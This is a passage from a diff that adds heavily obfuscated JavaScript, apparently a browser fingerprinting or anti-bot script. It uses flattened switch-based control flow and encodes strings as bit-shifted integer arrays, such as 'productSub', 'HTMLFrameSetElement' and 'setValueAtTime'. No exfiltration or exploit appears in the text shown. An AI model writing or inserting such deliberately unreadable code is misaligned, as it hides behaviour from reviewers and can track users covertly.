_$y = _$u >> _$p; + _$w = _$bW(_$y); + _$d = _$b + _$w; + _$qa = _$d + } + _$de = [73, 91, 34, 21, 60, 53, 40, 88, 49, 37, 8, 44, 29, 72, 78, 65, 108, 71, 75, 106]; + break; + case 75: + _$za = _$za / 2; + break; + case 76: + _$Ga = [3360, 3520, 3200, 3232, 3840, 2528, 3264]; + case 77: + for (_$Me = 0; _$Me < _$Ga.length; _$Me++) { + _$b = _$pe; + _$h = _$Ga; + _$g = _$Me; + _$u = _$h[_$g]; + _$p = 5; + _$y = _$u >> _$p; + _$w = _$bW(_$y); + _$d = _$b + _$w; + _$pe = _$d + } + break; + case 78: + _$Na = _$ye.length; + _$Ca.apply(_$_, _$ja); + break; + case 79: + _$Ie = _$BC; + break; + case 80: + _$Ae = _$Yl; + _$Se = 1; + break; + case 81: + _$me = _$BC; + break; + case 82: + _$Ya = _$Ua; + break; + case 83: + for (_$Te = 0; _$Te < _$Se.length; _$Te++) { + _$b = _$Pe; + _$h = _$Se; + _$g = _$Te; + _$u = _$h[_$g]; + _$p = 7; + _$y = _$u >> _$p; + _$w = _$bW(_$y); + _$d = _$b + _$w; + _$Pe = _$d + } + break; + case 84: + _$Se = _$Se + 1; + break; + case 85: + for (_$je = _$Ba.length - 1; _$je >= 0; _$je--) { + _$b = _$xa; + _$h = _$LC; + _$g = _$Ba; + _$u = _$_C; + _$p = _$je; + _$y = _$g[_$u](_$p); + _$b[_$h](_$y) + } + break; + case 86: + for (_$Ce = 0; _$Ce < _$Ka.length; _$Ce++) { + _$b = _$me; + _$h = _$Ka; + _$g = _$Ce; + _$u = _$h[_$g]; + _$p = 5; + _$y = _$u >> _$p; + _$w = _$bW(_$y); + _$d = _$b + _$w; + _$me = _$d + } + break; + case 87: + _$Ba = _$Ba.j(_$BC); + _$Ca.apply(_$_, _$de); + break; + case 88: + _$ma = _$Ta; + break; + case 89: + _$Ae = 1; + break; + case 90: + _$Ka = [3552, 3136, 3392, 3232, 3168, 3712]; + break; + case 91: + if (_$ua) { + _$b = 1; + _$De = _$b; + _$h = 0; + _$Ke = _$h; + _$g = _$OW++; + _$Qe = _$g; + _$b = _$Qe; + _$h = 5957; + _$g = 3344; + _$u = _$h + _$g; + _$p = _$b * _$u; + _$y = 30080; + _$w = 19217; + _$d = _$y + _$w; + _$M = _$p + _$d; + _$I = 78863; + _$A = 154417; + _$S = _$I + _$A; + _$m = _$M % _$S; + _$Qe = _$m; + _$b = _$Qe; + _$h = 103232; + _$g = 130048; + _$u = _$h + _$g; + _$p = _$b / _$u; + _$We = _$p; + _$y = _$We; + _$w = 30; + _$d = 40; + _$M = _$w + _$d; + _$I = _$De; + _$A = _$M - _$I; + _$S = 1; + _$m = _$A + _$S; + _$T = _$y * _$m; + _$j = _$De; + _$C = _$T + _$j; + _$Ye = _$C; + _$b = _$Ke; + _$h = _$Ye; + _$g = _$b ^ _$h; + _$IW = _$g + } + break; + case 92: + _$Ge = 1; + break; + case 93: + _$Ue = _$zl; + _$Oe = 1; + break; + case 94: + _$$a = [4325376, 7667712, 6684672, 6684672, 6619136, 7471104]; + break; + case 95: + _$fe = _$te; + _$Ca.apply(_$_, _$Xa); + break; + case 96: + _$Pe = _$BC; + break; + case 97: + _$Ge = _$Nl; + _$Ne = 1; + break; + case 98: + _$Se = [9216, 10752, 9856, 9728, 8960, 14592, 12416, 13952, 12928, 10624, 12928, 14848, 8832, 13824, 12928, 13952, 12928, 14080, 14848]; + break; + case 99: + _$Ja = _$$a; + break; + case 100: + _$fe = 1; + break; + case 101: + _$$a = _$$a + 1; + break; + case 102: + for (_$je = _$Ba.length - 1; _$je >= 4; _$je--) { + _$b = _$Ba; + _$h = _$LC; + _$g = _$Wa; + _$u = _$_C; + _$p = _$je; + _$y = _$g[_$u](_$p); + _$b[_$h](_$y) + } + break; + case 103: + _$Ne = _$Ne + 1; + break; + case 104: + _$Ze = _$oU[_$Ha](); + break; + case 105: + _$Da = 1; + _$Ca.apply(_$_, _$wa); + break; + case 106: + _$Ba += _$_C; + break; + case 107: + _$Oe = [3712, 3552, 2656, 3712, 3648, 3360, 3520, 3296]; + break; + case 108: + for (_$ze = 0; _$ze < _$Na; _$ze++) { + _$b = _$ye; + _$h = _$OC; + _$g = _$ze; + _$u = _$b[_$h](_$g); + _$Za = _$u; + _$b = _$Za; + _$h = 65536; + _$g = _$b >= _$h; + _$u = _$g; + if (_$u) { + _$V = _$Za; + _$q = 1114111; + _$u = _$V <= _$q + } + if (_$u) { + _$b = _$ue; + _$h = _$LC; + _$g = _$Za; + _$u = 18; + _$p = _$g >> _$u; + _$y = 7; + _$w = _$p & _$y; + _$d = 240; + _$M = _$w | _$d; + _$b[_$h](_$M); + _$b = _$ue; + _$h = _$LC; + _$g = _$Za; + _$u = 12; + _$p = _$g >> _$u; + _$y = 63; + _$w = _$p & _$y; + _$d = 128; + _$M = _$w | _$d; + _$b[_$h](_$M); + _$b = _$ue; + _$h = _$LC; + _$g = _$Za; + _$u = 6; + _$p = _$g >> _$u; + _$y = 63; + _$w = _$p & _$y; + _$d = 128; + _$M = _$w | _$d; + _$b[_$h](_$M); + _$b = _$ue; + _$h = _$LC; + _$g = _$Za; + _$u = 63; + _$p = _$g & _$u; + _$y = 128; + _$w = _$p | _$y; + _$b[_$h](_$w) + } else { + _$b = _$Za; + _$h = 2048; + _$g = _$b >= _$h; + _$u = _$g; + if (_$u) { + _$V = _$Za; + _$q = 65535; + _$u = _$V <= _$q + } + if (_$u) { + _$b = _$ue; + _$h = _$LC; + _$g = _$Za; + _$u = 12; + _$p = _$g >> _$u; + _$y = 15; + _$w = _$p & _$y; + _$d = 224; + _$M = _$w | _$d; + _$b[_$h](_$M); + _$b = _$ue; + _$h = _$LC; + _$g = _$Za; + _$u = 6; + _$p = _$g >> _$u; + _$y = 63; + _$w = _$p & _$y; + _$d = 128; + _$M = _$w | _$d; + _$b[_$h](_$M); + _$b = _$ue; + _$h = _$LC; + _$g = _$Za; + _$u = 63; + _$p = _$g & _$u; + _$y = 128; + _$w = _$p | _$y; + _$b[_$h](_$w) + } else { + _$b = _$Za; + _$h = 128; + _$g = _$b >= _$h; + _$u = _$g; + if (_$u) { + _$V = _$Za; + _$q = 2047; + _$u = _$V <= _$q + } + if (_$u) { + _$b = _$ue; + _$h = _$LC; + _$g = _$Za; + _$u = 6; + _$p = _$g >> _$u; + _$y = 31; + _$w = _$p & _$y; + _$d = 192; + _$M = _$w | _$d; + _$b[_$h](_$M); + _$b = _$ue; + _$h = _$LC; + _$g = _$Za; + _$u = 63; + _$p = _$g & _$u; + _$y = 128; + _$w = _$p | _$y; + _$b[_$h](_$w) + } else { + _$b = _$ue; + _$h = _$LC; + _$g = _$Za; + _$u = 255; + _$p = _$g & _$u; + _$b[_$h](_$p) + } + } + } + } + break; + case 109: + _$Ee = _$BC; + break + } + } + } + function _$kU() { + var _$a, _$e, _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M; + _$a = 15; + _$e = _$a; + while (!![]) { + switch (_$e) { + case 1: + _$u = [130, 132]; + _$e += 2; + break; + case 2: + if (_$p + _$d < _$y) { + _$a = _$p; + _$r = _$w; + _$c = _$d; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = _$p; + _$f = _$y; + _$t = _$n - _$f; + _$i = _$s >> _$t; + _$o = _$d; + _$k = _$i >> _$o; + _$d = _$k + } + _$e += 7; + break; + case 3: + if (!_$y) { + _$a = _$w; + _$r = 2; + _$c = _$y; + _$v = _$r + _$c; + _$s = _$p; + _$n = _$v - _$s; + _$f = _$a << _$n; + _$w = _$f + } + _$e += 10; + break; + case 4: + if (_$y + _$d > 0) { + _$a = _$w; + _$r = 4; + _$c = _$y; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = 3; + _$f = _$y; + _$t = _$n * _$f; + _$i = _$w; + _$o = _$t + _$i; + _$k = _$s >> _$o; + _$b = 2; + _$l = _$k << _$b; + _$d = _$l + } + _$e += 10; + break; + case 5: + if (_$y + _$w > 0) { + _$a = _$w; + _$r = 2; + _$c = _$a << _$r; + _$w = _$c; + _$a = _$w; + _$r = _$d; + _$c = _$d; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = _$p; + _$f = _$s >> _$n; + _$y = _$f; + _$a = _$y; + _$r = _$d; + _$c = _$a / _$r; + _$d = _$c + } + _$e -= 4; + break; + case 6: + _$g = _$u; + _$e += 6; + break; + case 7: + if (_$p + _$y > 0) { + _$a = _$w; + _$r = 3; + _$c = _$a >> _$r; + _$d = _$c; + _$a = _$y; + _$r = _$d; + _$c = _$a + _$r; + _$d = _$c; + _$a = _$p; + _$r = _$w; + _$c = _$d; + _$v = _$r * _$c; + _$s = _$a >> _$v; + _$n = _$p; + _$f = _$s >> _$n; + _$y = _$f; + _$a = _$y; + _$r = _$d; + _$c = _$a / _$r; + _$d = _$c + } + _$e += 11; + break; + case 8: + return _$M; + case 9: + if (_$w < 0) { + _$a = _$y; + _$r = _$p; + _$c = _$d; + _$v = _$r / _$c; + _$s = _$a >> _$v; + _$n = _$p; + _$f = _$s >> _$n; + _$w = _$f + } + _$e -= 3; + break; + case 10: + for (_$h = 0; _$h < _$u.length; _$h++) { + _$a = _$M; + _$r = _$u; + _$c = _$h; + _$v = _$r[_$c]; + _$s = 1; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$M = _$t + } + _$e -= 6; + break; + case 11: + if (_$y + _$w > 0) { + _$a = _$y; + _$r = _$d; + _$c = _$a + _$r; + _$d = _$c; + _$a = _$y; + _$r = _$d; + _$c = _$a - _$r; + _$w = _$c + } + _$e += 6; + break; + case 12: + if (_$w + _$d < 0) { + _$a = _$p; + _$r = _$w; + _$c = _$d; + _$v = _$r * _$c; + _$s = _$a << _$v; + _$n = _$p; + _$f = _$s >> _$n; + _$y = _$f + } + _$e -= 7; + break; + case 13: + if (!_$p) { + _$a = 5; + _$r = _$w; + _$c = _$a + _$r; + _$v = 3; + _$s = _$c >> _$v; + _$p = _$s + } + _$e -= 3; + break; + case 14: + _$u = _$u.p(_$g); + _$e -= 6; + break; + case 15: + _$g = _$Io; + _$u = 1; + _$p = 1; + _$y = -1; + _$w = 2; + _$d = 0; + _$e -= 8; + break; + case 16: + if (_$p + _$y + _$p > 0) { + _$a = _$p; + _$r = _$w; + _$c = _$d; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = _$p; + _$f = _$s >> _$n; + _$y = _$f; + _$a = _$y; + _$r = _$d; + _$c = _$a + _$r; + _$d = _$c + } + _$e -= 5; + break; + case 17: + _$M = _$BC; + _$e -= 15; + break; + case 18: + _$u = _$u + 1; + case 19: + if (_$p && !_$y) { + _$a = _$w; + _$r = 3; + _$c = _$a % _$r; + _$d = _$c; + _$a = _$y; + _$r = _$d; + _$c = _$a + _$r; + _$d = _$c + } + _$e += 2; + break; + case 20: + _$y = -5; + _$e += 1; + break; + case 21: + _$g = 1; + _$e -= 5; + break + } + } + } + function _$bU() { + var _$a, _$e, _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M; + _$a = 21; + _$e = _$a; + while (!![]) { + switch (_$e) { + case 1: + if (_$y + _$w > 0) { + _$a = _$d; + _$r = 3; + _$c = _$a >> _$r; + _$M = _$c; + _$a = _$w; + _$r = _$M; + _$c = _$a + _$r; + _$M = _$c; + _$a = _$y; + _$r = _$d; + _$c = _$M; + _$v = _$r * _$c; + _$s = _$a >> _$v; + _$n = _$y; + _$f = _$s >> _$n; + _$w = _$f; + _$a = _$w; + _$r = _$M; + _$c = _$a / _$r; + _$M = _$c + } + _$e += 1; + break; + case 2: + _$p = _$p + 1; + _$e += 13; + break; + case 3: + _$t = _$BC; + _$e += 11; + break; + case 4: + if (_$w + _$d > 0) { + _$a = _$w; + _$r = _$M; + _$c = _$a + _$r; + _$M = _$c; + _$a = _$w; + _$r = _$M; + _$c = _$a - _$r; + _$d = _$c + } + _$e -= 1; + break; + case 5: + if (_$y + _$w + _$y > 0) { + _$a = _$y; + _$r = _$d; + _$c = _$M; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = _$y; + _$f = _$s >> _$n; + _$w = _$f; + _$a = _$w; + _$r = _$M; + _$c = _$a + _$r; + _$M = _$c + } + _$e -= 1; + break; + case 6: + _$u = 1; + _$e -= 1; + break; + case 7: + if (_$w + _$d > 0) { + _$a = _$d; + _$r = 2; + _$c = _$a << _$r; + _$d = _$c; + _$a = _$d; + _$r = _$M; + _$c = _$M; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = _$y; + _$f = _$s >> _$n; + _$w = _$f; + _$a = _$w; + _$r = _$M; + _$c = _$a / _$r; + _$M = _$c + } + _$e += 11; + break; + case 8: + if (_$d < 0) { + _$a = _$w; + _$r = _$y; + _$c = _$M; + _$v = _$r / _$c; + _$s = _$a >> _$v; + _$n = _$y; + _$f = _$s >> _$n; + _$d = _$f + } + _$e += 4; + break; + case 9: + if (_$d + _$M < 0) { + _$a = _$y; + _$r = _$d; + _$c = _$M; + _$v = _$r * _$c; + _$s = _$a << _$v; + _$n = _$y; + _$f = _$s >> _$n; + _$w = _$f + } + _$e -= 2; + break; + case 10: + if (!_$w) { + _$a = _$d; + _$r = 2; + _$c = _$w; + _$v = _$r + _$c; + _$s = _$y; + _$n = _$v - _$s; + _$f = _$a << _$n; + _$d = _$f + } + _$e += 10; + break; + case 11: + for (_$i = 0; _$i < _$p.length; _$i++) { + _$a = _$t; + _$r = _$p; + _$c = _$i; + _$v = _$r[_$c]; + _$s = 7; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$o = _$a + _$f; + _$t = _$o + } + _$e += 2; + break; + case 12: + _$u = _$p; + _$e -= 3; + break; + case 13: + if (_$w + _$M > 0) { + _$a = _$d; + _$r = 4; + _$c = _$w; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = 3; + _$f = _$w; + _$o = _$n * _$f; + _$k = _$d; + _$b = _$o + _$k; + _$l = _$s >> _$b; + _$h = 2; + _$g = _$l << _$h; + _$M = _$g + } + _$e += 6; + break; + case 14: + if (_$y + _$M < _$w) { + _$a = _$y; + _$r = _$d; + _$c = _$M; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = _$y; + _$f = _$w; + _$o = _$n - _$f; + _$k = _$s >> _$o; + _$b = _$M; + _$l = _$k >> _$b; + _$M = _$l + } + _$e -= 6; + break; + case 15: + if (_$y && !_$w) { + _$a = _$d; + _$r = 3; + _$c = _$a % _$r; + _$M = _$c; + _$a = _$w; + _$r = _$M; + _$c = _$a + _$r; + _$M = _$c + } + _$e += 2; + break; + case 16: + return _$t; + case 17: + _$w = -5; + _$e -= 11; + break; + case 18: + _$p = [8320, 8448, 8576]; + _$e -= 8; + break; + case 19: + _$p = _$p.p(_$u); + _$e -= 3; + break; + case 20: + if (!_$y) { + _$a = 5; + _$r = _$d; + _$c = _$a + _$r; + _$v = 3; + _$s = _$c >> _$v; + _$y = _$s + } + _$e -= 9; + break; + case 21: + _$u = _$Mo; + _$p = 1; + _$y = 1; + _$w = -1; + _$d = 2; + _$M = 0; + _$e -= 20; + break + } + } + } + function _$lU() { + var _$a = _$OA; + var _$e = _$DA; + var _$r = _$vg; + var _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K; + _$c = 0; + _$v = _$c; + _$s = 6; + _$n = 1; + _$f = 22; + _$t = 7; + _$i = 13; + _$o = 8; + _$k = 21; + _$b = 18; + _$l = 16; + _$h = 23; + _$g = 17; + _$u = 2; + _$p = 19; + _$y = 9; + _$w = [_$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y]; + _$d = _$w; + while (!![]) { + switch (_$d[_$v++]) { + case 1: + for (_$M = _$m.length - 1; _$M >= 0; _$M--) { + _$c = _$S; + _$s = _$LC; + _$n = _$m; + _$f = _$_C; + _$t = _$M; + _$i = _$n[_$f](_$t); + _$c[_$s](_$i) + } + break; + case 2: + _$I = _$A; + break; + case 3: + _$m += _$zC; + break; + case 4: + _$K = _$m; + break; + case 5: + _$A = _$A.p(_$I); + break; + case 6: + _$I = _$do; + _$A = 1; + _$S = []; + _$m = _$e + _$r + _$a; + break; + case 7: + _$S = _$S.j(_$BC); + _$T = [15, 12, 3, 10, 11, 4, 5, 14, 20, 24]; + break; + case 8: + _$I = 1; + break; + case 9: + _$m += _$ZC; + break; + case 10: + for (_$j = 0; _$j < _$A.length; _$j++) { + _$c = _$D; + _$s = _$A; + _$n = _$j; + _$f = _$s[_$n]; + _$t = 16; + _$i = _$f >> _$t; + _$o = _$bW(_$i); + _$k = _$c + _$o; + _$D = _$k + } + break; + case 11: + _$S = _$K; + break; + case 12: + _$m += _$_C; + break; + case 13: + if (_$m.c(5) > _$S.c(4)) { + _$c = _$m; + _$s = _$EC; + _$n = _$c + _$s; + _$m = _$n + } + _$C = _$d.p; + break; + case 14: + if (_$m.c(5) > _$S.c(7)) { + _$c = _$m; + _$s = _$NC; + _$n = _$c + _$s; + _$m = _$n + } + break; + case 15: + _$A = [7340032, 7471104, 7274496, 7602176, 7274496, 7602176, 7929856, 7340032, 6619136]; + break; + case 16: + _$D = _$BC; + break; + case 17: + _$m = _$m.j(_$BC); + break; + case 18: + _$m = []; + break; + case 19: + _$m += _$zC; + _$C.apply(_$d, _$T); + break; + case 20: + _$S += _$GC; + break; + case 21: + _$K = _$S + _$m; + break; + case 22: + _$A = _$A + 1; + break; + case 23: + for (_$M = _$m.length - 1; _$M >= 4; _$M--) { + _$c = _$m; + _$s = _$LC; + _$n = _$K; + _$f = _$_C; + _$t = _$M; + _$i = _$n[_$f](_$t); + _$c[_$s](_$i) + } + break; + case 24: + return _$D + } + } + } + function _$hU() { + var _$a = _$wo; + var _$e = _$yo; + var _$r = _$po; + var _$c = _$uo; + var _$v = _$go; + var _$s = _$ho; + var _$n = _$lo; + var _$f = _$bo; + var _$t = _$ko; + var _$i = _$oo; + var _$o = _$io; + var _$k = _$to; + var _$b = _$fo; + var _$l = _$no; + var _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N; + _$h = 0; + _$g = _$h; + _$u = 13; + _$p = 5; + _$y = 19; + _$w = 12; + _$d = 7; + _$M = 11; + _$I = 15; + _$A = 21; + _$S = 6; + _$m = 3; + _$T = 20; + _$j = [_$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T]; + _$C = _$j; + while (!![]) { + switch (_$C[_$g++]) { + case 1: + _$W = [42, 0, 43, 44, 39, 29, 16, 13, 45, 2, 3, 9, 46, 47, 48, 37, 33, 49, 41, 26, 50, 51, 7, 36, 52, 40, 53, 30, 54, 22, 1, 23, 55, 56, 27, 32, 57, 17, 58, 38, 25, 28, 10, 5, 59, 35, 14, 20, 12, 4, 60, 18, 61, 62, 11, 19, 34, 24, 63, 64, 6, 21, 31, 15, 8]; + break; + case 2: + return _$N.j(_$BC); + case 3: + if (_$O < 0) { + _$h = _$U; + _$u = _$Y; + _$p = _$P; + _$y = _$u / _$p; + _$w = _$h >> _$y; + _$d = _$Y; + _$M = _$w >> _$d; + _$O = _$M + } + break; + case 4: + if (_$U + _$O > 0) { + _$h = _$O; + _$u = 2; + _$p = _$h << _$u; + _$O = _$p; + _$h = _$O; + _$u = _$P; + _$p = _$P; + _$y = _$u + _$p; + _$w = _$h >> _$y; + _$d = _$Y; + _$M = _$w >> _$d; + _$U = _$M; + _$h = _$U; + _$u = _$P; + _$p = _$h / _$u; + _$P = _$p + } + break; + case 5: + if (_$Y + _$U > 0) { + _$h = _$O; + _$u = 3; + _$p = _$h >> _$u; + _$P = _$p; + _$h = _$U; + _$u = _$P; + _$p = _$h + _$u; + _$P = _$p; + _$h = _$Y; + _$u = _$O; + _$p = _$P; + _$y = _$u * _$p; + _$w = _$h >> _$y; + _$d = _$Y; + _$M = _$w >> _$d; + _$U = _$M; + _$h = _$U; + _$u = _$P; + _$p = _$h / _$u; + _$P = _$p + } + _$D = _$C.p; + _$K = [22, 4, 9, 10, 14, 1, 18, 17, 16, 2]; + break; + case 6: + if (_$Y + _$P < _$U) { + _$h = _$Y; + _$u = _$O; + _$p = _$P; + _$y = _$u + _$p; + _$w = _$h >> _$y; + _$d = _$Y; + _$M = _$U; + _$I = _$d - _$M; + _$A = _$w >> _$I; + _$S = _$P; + _$m = _$A >> _$S; + _$P = _$m + } + _$D.apply(_$C, _$K); + break; + case 7: + _$U = -5; + case 8: + _$Q = 1; + break; + case 9: + _$Q = _$W; + break; + case 10: + if (!_$U) { + _$h = _$O; + _$u = 2; + _$p = _$U; + _$y = _$u + _$p; + _$w = _$Y; + _$d = _$y - _$w; + _$M = _$h << _$d; + _$O = _$M + } + break; + case 11: + if (_$Y + _$U + _$Y > 0) { + _$h = _$Y; + _$u = _$O; + _$p = _$P; + _$y = _$u + _$p; + _$w = _$h >> _$y; + _$d = _$Y; + _$M = _$w >> _$d; + _$U = _$M; + _$h = _$U; + _$u = _$P; + _$p = _$h + _$u; + _$P = _$p + } + break; + case 12: + if (_$Y && !_$U) { + _$h = _$O; + _$u = 3; + _$p = _$h % _$u; + _$P = _$p; + _$h = _$U; + _$u = _$P; + _$p = _$h + _$u; + _$P = _$p + } + break; + case 13: + _$Q = _$c + _$i + _$t + _$f + _$e + _$l + _$r + _$n + _$v + _$b + _$s + _$a + _$o + _$k; + _$W = 1; + _$Y = 1; + _$U = -1; + _$O = 2; + _$P = 0; + break; + case 14: + if (!_$Y) { + _$h = 5; + _$u = _$O; + _$p = _$h + _$u; + _$y = 3; + _$w = _$p >> _$y; + _$Y = _$w + } + break; + case 15: + if (_$U + _$O > 0) { + _$h = _$U; + _$u = _$P; + _$p = _$h + _$u; + _$P = _$p; + _$h = _$U; + _$u = _$P; + _$p = _$h - _$u; + _$O = _$p + } + break; + case 16: + _$W = _$W.p(_$Q); + break; + case 17: + for (_$G = 0; _$G < _$Q.length; _$G++) { + _$h = _$N; + _$u = _$LC; + _$p = _$Q; + _$y = _$_C; + _$w = _$W; + _$d = _$G; + _$M = _$w[_$d]; + _$I = _$p[_$y](_$M); + _$h[_$u](_$I) + } + break; + case 18: + if (_$U + _$P > 0) { + _$h = _$O; + _$u = 4; + _$p = _$U; + _$y = _$u + _$p; + _$w = _$h >> _$y; + _$d = 3; + _$M = _$U; + _$I = _$d * _$M; + _$A = _$O; + _$S = _$I + _$A; + _$m = _$w >> _$S; + _$T = 2; + _$j = _$m << _$T; + _$P = _$j + } + break; + case 19: + _$W = _$Q; + break; + case 20: + _$N = []; + break; + case 21: + _$Q = _$Q * 5; + break; + case 22: + if (_$O + _$P < 0) { + _$h = _$Y; + _$u = _$O; + _$p = _$P; + _$y = _$u * _$p; + _$w = _$h << _$y; + _$d = _$Y; + _$M = _$w >> _$d; + _$U = _$M + } + break + } + } + } + function _$gU() { + var _$a, _$e, _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M; + _$a = 19; + _$e = _$a; + while (!![]) { + switch (_$e) { + case 1: + for (_$r = 0; _$r < _$p.length; _$r++) { + _$a = _$o; + _$c = _$p; + _$v = _$r; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s >> _$n; + _$t = _$bW(_$f); + _$i = _$a + _$t; + _$o = _$i + } + _$e += 12; + break; + case 2: + _$p = [230, 202, 232, 172, 194, 216, 234, 202, 130, 232, 168, 210, 218, 202]; + _$e += 7; + break; + case 3: + if (_$d + _$M < 0) { + _$a = _$y; + _$c = _$d; + _$v = _$M; + _$s = _$c * _$v; + _$n = _$a << _$s; + _$f = _$y; + _$t = _$n >> _$f; + _$w = _$t + } + _$e += 7; + break; + case 4: + _$u = _$p; + _$e -= 1; + break; + case 5: + _$o = _$BC; + _$e += 6; + break; + case 6: + if (_$d < 0) { + _$a = _$w; + _$c = _$y; + _$v = _$M; + _$s = _$c / _$v; + _$n = _$a >> _$s; + _$f = _$y; + _$t = _$n >> _$f; + _$d = _$t + } + _$e -= 2; + break; + case 7: + if (_$w + _$d > 0) { + _$a = _$w; + _$c = _$M; + _$v = _$a + _$c; + _$M = _$v; + _$a = _$w; + _$c = _$M; + _$v = _$a - _$c; + _$d = _$v + } + _$e -= 2; + break; + case 8: + return _$o; + case 9: + if (!_$w) { + _$a = _$d; + _$c = 2; + _$v = _$w; + _$s = _$c + _$v; + _$n = _$y; + _$f = _$s - _$n; + _$t = _$a << _$f; + _$d = _$t + } + _$e += 3; + break; + case 10: + if (_$w + _$d > 0) { + _$a = _$d; + _$c = 2; + _$v = _$a << _$c; + _$d = _$v; + _$a = _$d; + _$c = _$M; + _$v = _$M; + _$s = _$c + _$v; + _$n = _$a >> _$s; + _$f = _$y; + _$t = _$n >> _$f; + _$w = _$t; + _$a = _$w; + _$c = _$M; + _$v = _$a / _$c; + _$M = _$v + } + _$e -= 8; + break; + case 11: + if (_$y + _$M < _$w) { + _$a = _$y; + _$c = _$d; + _$v = _$M; + _$s = _$c + _$v; + _$n = _$a >> _$s; + _$f = _$y; + _$t = _$w; + _$i = _$f - _$t; + _$k = _$n >> _$i; + _$b = _$M; + _$l = _$k >> _$b; + _$M = _$l + } + _$e -= 5; + break; + case 12: + if (!_$y) { + _$a = 5; + _$c = _$d; + _$v = _$a + _$c; + _$s = 3; + _$n = _$v >> _$s; + _$y = _$n + } + _$e -= 11; + break; + case 13: + if (_$w + _$M > 0) { + _$a = _$d; + _$c = 4; + _$v = _$w; + _$s = _$c + _$v; + _$n = _$a >> _$s; + _$f = 3; + _$t = _$w; + _$i = _$f * _$t; + _$k = _$d; + _$b = _$i + _$k; + _$l = _$n >> _$b; + _$h = 2; + _$g = _$l << _$h; + _$M = _$g + } + _$e += 8; + break; + case 14: + _$u = 1; + _$e += 1; + break; + case 15: + if (_$y + _$w + _$y > 0) { + _$a = _$y; + _$c = _$d; + _$v = _$M; + _$s = _$c + _$v; + _$n = _$a >> _$s; + _$f = _$y; + _$t = _$n >> _$f; + _$w = _$t; + _$a = _$w; + _$c = _$M; + _$v = _$a + _$c; + _$M = _$v + } + _$e -= 8; + break; + case 16: + if (_$y && !_$w) { + _$a = _$d; + _$c = 3; + _$v = _$a % _$c; + _$M = _$v; + _$a = _$w; + _$c = _$M; + _$v = _$a + _$c; + _$M = _$v + } + case 17: + _$w = -5; + _$e -= 2; + break; + case 18: + if (_$y + _$w > 0) { + _$a = _$d; + _$c = 3; + _$v = _$a >> _$c; + _$M = _$v; + _$a = _$w; + _$c = _$M; + _$v = _$a + _$c; + _$M = _$v; + _$a = _$y; + _$c = _$d; + _$v = _$M; + _$s = _$c * _$v; + _$n = _$a >> _$s; + _$f = _$y; + _$t = _$n >> _$f; + _$w = _$t; + _$a = _$w; + _$c = _$M; + _$v = _$a / _$c; + _$M = _$v + } + _$e += 2; + break; + case 19: + _$u = _$so; + _$p = 1; + _$y = 1; + _$w = -1; + _$d = 2; + _$M = 0; + _$e -= 1; + break; + case 20: + _$p = _$p + 1; + _$e -= 4; + break; + case 21: + _$p = _$p.p(_$u); + _$e -= 13; + break + } + } + } + function _$uU() { + var _$a, _$e, _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p; + _$a = 17; + _$e = _$a; + while (!![]) { + switch (_$e) { + case 1: + _$h = _$h + _$l[6]; + _$e += 6; + break; + case 2: + if (_$h - _$l[6]) { + _$a = _$h; + _$r = _$l; + _$c = 3; + _$v = _$r[_$c]; + _$s = _$a + _$v; + _$h = _$s + } + _$e += 4; + break; + case 3: + _$h = _$h * _$l[6]; + _$e += 17; + break; + case 4: + _$b = [57344, 58368, 56832, 59392, 56832, 59392, 61952, 57344, 51712]; + _$e += 6; + break; + case 5: + _$h = _$h - _$l[2]; + _$e += 7; + break; + case 6: + _$h = _$h - _$l[2]; + _$e += 20; + break; + case 7: + _$h = _$h * _$l[7]; + _$e += 9; + break; + case 8: + return _$u; + case 9: + _$h = _$h / _$l[8]; + _$e += 18; + break; + case 10: + _$l[4] = _$h - _$l[5]; + _$e += 3; + break; + case 11: + _$h = _$h / _$l[4]; + _$e -= 9; + break; + case 12: + _$b = _$b.p(_$k); + _$e -= 4; + break; + case 13: + _$h = _$h - _$l[2]; + _$e -= 4; + break; + case 14: + _$k = 1; + _$e += 9; + break; + case 15: + for (_$n = 0; _$n < 10; _$n++) { + _$a = _$l; + _$r = _$LC; + _$c = _$n; + _$v = 6; + _$s = _$c + _$v; + _$a[_$r](_$s) + } + _$e += 6; + break; + case 16: + if (_$l[6] - _$l[5] > 0) { + _$a = _$h; + _$r = _$l; + _$c = 3; + _$v = _$r[_$c]; + _$s = _$a + _$v; + _$h = _$s; + _$a = _$h; + _$r = _$l; + _$c = 2; + _$v = _$r[_$c]; + _$s = _$a + _$v; + _$f = _$l; + _$t = 5; + _$i = _$f[_$t]; + _$o = _$s - _$i; + _$h = _$o + } else { + _$a = _$h; + _$r = _$l; + _$c = 6; + _$v = _$r[_$c]; + _$s = _$a * _$v; + _$h = _$s; + _$a = _$h; + _$r = _$l; + _$c = 2; + _$v = _$r[_$c]; + _$s = _$a - _$v; + _$h = _$s + } + _$e -= 2; + 